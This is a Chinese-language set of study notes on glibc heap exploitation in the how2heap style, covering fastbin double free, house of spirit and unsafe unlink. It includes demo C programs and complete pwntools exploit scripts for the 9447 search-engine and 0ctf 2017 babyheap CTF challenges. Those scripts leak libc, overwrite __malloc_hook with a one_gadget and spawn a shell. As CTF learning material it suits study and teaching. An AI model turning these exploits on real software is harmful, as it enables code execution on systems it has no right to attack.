简记how2heap刷题

first_fit

假如我先malloc了一个比较大的堆,然后free掉,当我再申请一个小于刚刚释放的堆的时候,就会申请到刚刚free那个堆的地址。还有就是,我虽然刚刚释放了a指向的堆,但是a指针不会清零,仍然指向那个地址。这里就存在一个uaf(use_after_free)漏洞,原因是free的时候指针没有清零。

image-20210712154629792

自己理解:总共分配了三次,第一次malloc得到的chunk被free掉之后并没有将第一次的指针清空,只是将空间归还。第三次malloc的时候,因为大小比第一次的小,所以将第一次free掉的空间又重新分配了回来,这样当我们输出a和c的时候,都是输出同一个地址的内容。

fastbin_dup

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}

image-20210713110359555

fastbin_dup_into_stack

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

image-20210713110550162

会发现再次申请的时候就把我们伪造的栈空间当malloc来申请了,这其中的要点为将stack_var = 0x20,然后将stack_var -8 的地址赋值到*d处,也就是fastbin的fd处。再次maollc到指向stack+8的堆。

9447-search-engine

https://www.freesion.com/article/7775459314/

结构体:

struct word {
	word ptr //指向每个word的起始地址
	word size //每个word的大小
	sentence ptr //指向句子的起始地址
	sentence size //每一个句子的大小
	pre_word_ptr //指向上一个word struct的指针
}

image-20210714173134664

每个sentence都是用链表的方式存起来的,即句子与句子之间是指针连接

上面就是word_ptr

  1. 输入word的大小和内容,以输入的大小为size malloc一个堆。
  2. 从最后一个word struct开始找起,通过每个struct的pre_word_ptr一直向前找。
  3. 然后这里有两个check。第一,当前的word_struct的sentence ptr指向的内容不能为空。第二,当前的word_struct中的size字段要和输入的word的size大小一致,并且通过memcmp(word_struct->word_ptr, word_ptr, size)来比较输入的word内容和当前struct的word ptr指向的内容是否一致。
  4. 通过这两个check之后,分别打印该word struct对应的sentence size和内容。
  5. 询问是否删除句子,如果删除的话,就清空该sentence中的内容,并且把该word_struct中的sentence_ptr指针free掉
    注意这里free之后没有把指针设置为空,存在漏洞,之后可以通过double free来进行一个利用

image-20210714174244788

#coding=utf-8
from pwn import *

DEBUG = 1
io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
if DEBUG:
    context.log_level = "debug"
    context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

def index_a_sentence(sentence):
    io.recvuntil("Quit\n")
    io.sendline("2")
    io.recvuntil("size:")
    io.sendline(str(len(sentence)))
    io.recvuntil("sentence:")
    io.sendline(sentence)

def seach_word(word):
    io.recvuntil("Quit\n")
    io.sendline("1")
    io.recvuntil("size:")
    io.sendline(str(len(word)))
    io.recvuntil("word:")
    io.sendline(word)

def leak():
    unsorted_bin_sentece = "s"*0x85 + " m"
    index_a_sentence(unsorted_bin_sentece)
    seach_word("m")
    io.recvuntil("(y/n)?")
    io.sendline("y")
    seach_word("\x00")
    io.recvuntil("Found " + str(len(unsorted_bin_sentece)) + ": ")
    main_arena_addr = u64(io.recv(6).ljust(8, "\x00")) - 88
    libc_addr = main_arena_addr - 0x3c4b20
    io.recvuntil("(y/n)?")
    io.sendline("n")
    return libc_addr, main_arena_addr

libc_addr, main_arena_addr = leak()

print("libc address: " + hex(libc_addr))

index_a_sentence("a"*0x5d + " d") #chunk a
index_a_sentence("a"*0x5d + " d") #chunk b
index_a_sentence("a"*0x5d + " d") #chunk c

seach_word("d")
io.recvuntil("(y/n)?")
io.sendline("y") #free c
io.recvuntil("(y/n)?")
io.sendline("y") #free b
io.recvuntil("(y/n)?")
io.sendline("y") #free a
# fastbins 0x70:  a->b->c

seach_word("\x00")
io.recvuntil("(y/n)?")
io.sendline("y") #free b
# fastbins 0x70:  b->a->b->....
# double free 构建了循环链表
io.recvuntil("(y/n)?")
io.sendline("n")
io.recvuntil("(y/n)?")
io.sendline("n")

one_gadget_addr = libc_addr + 0xf1147
fake_chunk_addr = main_arena_addr - 51
payload = p64(fake_chunk_addr).ljust(0x60, "a")
index_a_sentence(payload) # return chunk b and edit fd
# fastbins: a->b->fake_chunk    notice that fake_chunk size should fall in right fastbins index
index_a_sentence("a"*0x60) # return chunk a
index_a_sentence("a"*0x60) # return chunk b whose fd has been modified
payload = ("a"*19 + p64(one_gadget_addr)).ljust(0x60, "a")

#gdb.attach(io)
index_a_sentence(payload)

io.interactive()

0ctf 2017-babyheap

https://uaf.io/assets/0ctfbabyheap

预备知识

image-20210726101708896

利用 fastbin attack 即 double free 的方式泄露 libc 基址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写能力。

保护查看

image-20210726093722040

如果RELRO: Partial RELRO, 有可能是格式化字符串。

保护全开

函数分析

image-20210726093817807

image-20210726100114599

解析

Leak Libc

无uaf!!!

利用double free获得指向small bin的ptr,然后利用dump打印出来

image-20210727153145274

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./babyheap")
elf=ELF('./babyheap')
libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

#context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"

def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')    
    
#-------leak main_arena -  unsorted bin attack ------
alloc(0x10)#idx0    
alloc(0x10)#idx1    
alloc(0x30)#idx2    
alloc(0x40)#idx3    
alloc(0x60)#idx4    

fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1) 
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读写 idx2 ->fd 了

fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)

dump(1)         
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
#------------ 把malloc_hook申请出来 ---------------------
free(4)
payload=p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
alloc(0x60)#idx2
alloc(0x60)#idx4 malloc_hook
#----------- 改 malloc_hook ---------------------------

libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc = '+hex(libc_addr))

payload=p64(libc_addr+0x4526a) #0x4526a在下面解释
shllcode='a'*0x13+payload
fill(4,shllcode) 

alloc(1)
p.sendline('bash')
p.interactive()

我们需要在 __malloc_hook 写一个函数地址,用来getshell

0x4526a这个偏移里写的是这东西:

<do_system+1098>:     mov    rax,QWORD PTR [rip+0x37ec47]    
<do_system+1105>:     lea    rdi,[rip+0x147adf]              
<do_system+1112>:     lea    rsi,[rsp+0x30]
<do_system+1117>:     mov    DWORD PTR [rip+0x381219],0x0    
<do_system+1127>:     mov    DWORD PTR [rip+0x381213],0x0    
<do_system+1137>:     mov    rdx,QWORD PTR [rax]
<do_system+1140>:     call   0x7f7f36b27770 <execve>

image-20210728091824149

fastbin_dup_consolidate

image-20210713162156154

image-20210713162142395

先申请两个chunk,然后free掉p1,之后申请一个较大的chunk,使p1进入unsort bin然后再次free p1,这样再申请两次与p1大小相同的chunk,所申请的chunk的指针就指向同一个位置。

image-20210713162606814

2016 HITCON CTF SleepyHolder

申请大小超过top chunk size, ptmalloc会整合一些fastbin中的free chunk并入top chunk, 如果还不够就mmap一块新的chunk,这个chunk与原有的top chunk之间采用单链表链接.

Fastbin对double free的检查机制是仅仅检查fastbin的头chunk是否与当前要释放的这个相同size的chunk地址一样

*malloc_consolidate*****的功能就是把**chunk******从**fastbin******取出,相邻的**chunk******进行合并,并且会设置下一个**chunk******的**prev_inuse******位为**0**

add(1, 'aaa') #small secret
add(2, 'bbb') #big secret
delete(1)    ------------------
add(3, 'ccc') #huge secret    |--------> Double Free
delete(1)    ------------------

简单点来说就是free了一次chunk1,然后申请了一块很大的chunk,chunk1会被取出来然后合并掉,实际上fastbin中没有chunk,此时再free一次就构成double free了

wiki

image-20210811085900357

程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。

image-20210812114048319

unsafe unlink

image-20210713173742536

image-20210713173838243

关键是在globle chunk当中构造fake_chunk,然后完成上图的构造

house_of_spirit

通过free一块不可控内存,在进行一次malloc,使其可控

术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
    // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

image-20210714111539082

首先用malloc(1)进行了初始化,然后用一个fake_chunks数组来模拟两个fake_chunk,一个位于0下标的位置,一个位于8下标的位置,1下标是第一个chunk的size,9下标是第二个chunk的size。

因为第一个chunk的大小为64字节,64位系统环境下8字节一个数字,所以从0下标开始,到8下标之前刚好64个字节,那么下一个chunk就正好连在他的后面,所以第二个chunk从8下标位置开始是prev_size,9下标是size,next size的检查要检查下一个chunk的size是否合法,所以9下标size这个值必须是合法的size值,所以给他赋值为合法值。

然后free第一个chunk,通过了检测之后下一次分配相应大小的chunk就会把这个第一个chunk分配出来了